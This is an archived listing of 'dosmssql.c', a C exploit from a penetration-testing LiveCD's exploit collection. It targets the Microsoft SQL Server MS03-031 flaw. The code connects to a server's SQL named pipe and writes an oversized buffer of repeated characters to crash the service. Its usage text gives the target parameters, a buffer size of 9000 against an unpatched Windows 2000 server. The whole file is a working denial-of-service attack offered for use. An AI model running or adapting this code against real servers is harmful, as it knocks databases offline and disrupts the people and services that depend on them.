home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mssql / dosmssql.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  114 lines

  1. ////////////////////////////////////////////////////////////////////////////////
  2. //      
  3. //      exp for Microsoft SQL Server DoS(MS03-031)
  4. //
  5. //      By          : refdom
  6. //        Email      : refdom xfocus org
  7. //   http://www.xfocus.org/exploits/200307/expMS0331.cpp
  8. ////////////////////////////////////////////////////////////////////////////////
  9.  
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #include <windows.h>
  13.  
  14.  
  15. void Usage()
  16. {
  17.     printf("******************************************\n");
  18.     printf("exp for Microsoft SQL Server DoS(MS03-031)\n\n");
  19.     printf("\t Written by Refdom\n");
  20.     printf("\t Email: refdom xfocus org\n");
  21.     printf("\t Homepage: www.xfocus.org\n\n");
  22.     printf("Usage: DOSMSSQL.exe server buffersize\n");
  23.     printf("eg: DOSMSSQL.exe192.168.0.1 9000\n\n");
  24.     printf("The buffersize depends on service pack level.\n");
  25.     printf("I test it on my server: windows 2000, mssqlserver no sp.\n");
  26.     printf("when buffersize is 9000, the server can be crashed.\n");
  27.     printf("\n");
  28.     printf("*******************************************\n\n");
  29. }
  30.  
  31.  
  32. int main(int argc, char* argv[])
  33. {
  34.     char lpPipeName[50];
  35.     char *lpBuffer = NULL;
  36.     unsigned long ulSize = 0;
  37.  
  38.     BOOL bResult;
  39.     DWORD dwWritten = 0, dwMode;
  40.     HANDLE hPipe;
  41.  
  42.     Usage();
  43.  
  44.     printf("Starting...\n");
  45.  
  46.     if (argc != 3)
  47.         goto Exit0;
  48.     
  49.     if (strlen(argv[1]) < 20)
  50.     {
  51.         sprintf(lpPipeName, "\\\\%s\\\\.\\pipe\\sql\\query", argv[1]);
  52.     }
  53.     else
  54.     {
  55.         printf("Error!server\n");
  56.         goto Exit0;
  57.     }
  58.  
  59.     ulSize= atol(argv[2]);
  60.  
  61.     lpBuffer = (char*)malloc(ulSize + 2);
  62.     if (NULL == lpBuffer)
  63.     {
  64.         printf("malloc error!\n");
  65.         goto Exit0;
  66.     }
  67.  
  68.     memset(lpBuffer, 0, ulSize + 2);
  69.     memset(lpBuffer, 'A', ulSize);
  70.     *lpBuffer = '\x12';
  71.     *(lpBuffer + 1) = '\x01';
  72.     *(lpBuffer + 2) = '\x00';
  73.     
  74.     printf("Connecting Server...\n");
  75.  
  76.     hPipe = CreateFile(lpPipeName, 
  77.                     GENERIC_READ | GENERIC_WRITE,
  78.                     0,
  79.                     NULL,
  80.                     OPEN_EXISTING,
  81.                     0,
  82.                     NULL);
  83.     if (INVALID_HANDLE_VALUE == hPipe)
  84.     {
  85.         printf("Error!Connect server!%d\n", GetLastError());
  86.         goto Exit0;
  87.     }
  88.  
  89.    dwMode = PIPE_READMODE_MESSAGE; 
  90.    bResult = SetNamedPipeHandleState( 
  91.       hPipe,    // pipe handle 
  92.       &dwMode,  // new pipe mode 
  93.       NULL,     // don't set maximum bytes 
  94.       NULL);    // don't set maximum time 
  95.    if (!bResult)
  96.    {
  97.         printf("Error!SetNamedPipeHandleState.%d\n", GetLastError());
  98.         goto Exit0;
  99.    }
  100.  
  101.     bResult = WriteFile(hPipe, lpBuffer, ulSize + 1, &dwWritten, NULL);
  102.  
  103.     if (!bResult)
  104.     {
  105.         printf("\n\tError!WriteFile.%d\n\n", GetLastError());
  106.         printf("When see the error message, the target may be crashed!!\n\n");
  107.         goto Exit0;
  108.     }
  109.  
  110. Exit0:
  111.     
  112.     return 0;
  113. }
  114.